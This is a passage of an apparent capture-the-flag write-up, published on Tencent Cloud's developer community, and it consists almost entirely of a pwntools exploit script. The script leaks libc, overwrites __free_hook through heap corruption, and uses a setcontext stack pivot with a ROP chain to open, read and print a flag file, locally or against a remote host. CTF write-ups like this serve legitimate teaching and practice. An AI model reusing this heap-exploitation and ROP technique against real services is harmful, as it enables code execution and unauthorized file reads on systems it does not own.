libc_base = leak - (0x7ffff7b8a8b0 - 0x7ffff779d000)
li('libc_base: ' + hex(libc_base))
rm(11)
md(10, p64(libc_base + libc.sym['__free_hook'] - 0x110))
ad(0x130) # 11
ad(0x130) # 13
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdx_rsi = libc_base + 0x00000000001306d9 # pop rdx ; pop rsi ; ret
pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
ret = libc_base + 0x00000000000008aa # ret
pop_rax = libc_base + 0x00000000000439c8 # pop rax ; ret
syscall = libc_base + 0x11007f
'''
p = p64(libc_base + 0x520a5) # setcontext
p += p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] + 0x120)
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(libc_open)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(libc_read)
p += p64(pop_rdi) + p64(1)
p += p64(libc_write)
p = p.ljust(0x120, b'\x00')
p += b'./flag'
'''
p = p64(pop_rdi) + p64(libc_base + libc.sym['__free_hook'] - 0x10) # flag
p += p64(pop_rdx_rsi) + p64(0) + p64(0)
p += p64(pop_rax) + p64(2)
p += p64(syscall)
p += p64(pop_rdi) + p64(3)
p += p64(pop_rdx_rsi) + p64(0x100) + p64(libc_base + libc.sym['__malloc_hook'])
p += p64(pop_rax) + p64(0)
p += p64(syscall)
p += p64(pop_rdi) + p64(1)
p += p64(pop_rax) + p64(1)
p += p64(syscall)
p = p.ljust(0x100, b'\x00')
p += b'./flag.txt\x00'.ljust(0x10, b'\x00')
p += p64(libc_base + 0x520a5) # setcontext
md(13, p) # modify free_hook
p = b'A' * 0xa0
p += p64(libc_base + libc.sym['__free_hook'] - 0x110) # rsp
p += p64(ret) # rcx
md(11, p)
db()
rm(11)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
#io = elf.process()
io = process(elf_path, env = {'LD_PREALOAD': libc_path})
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。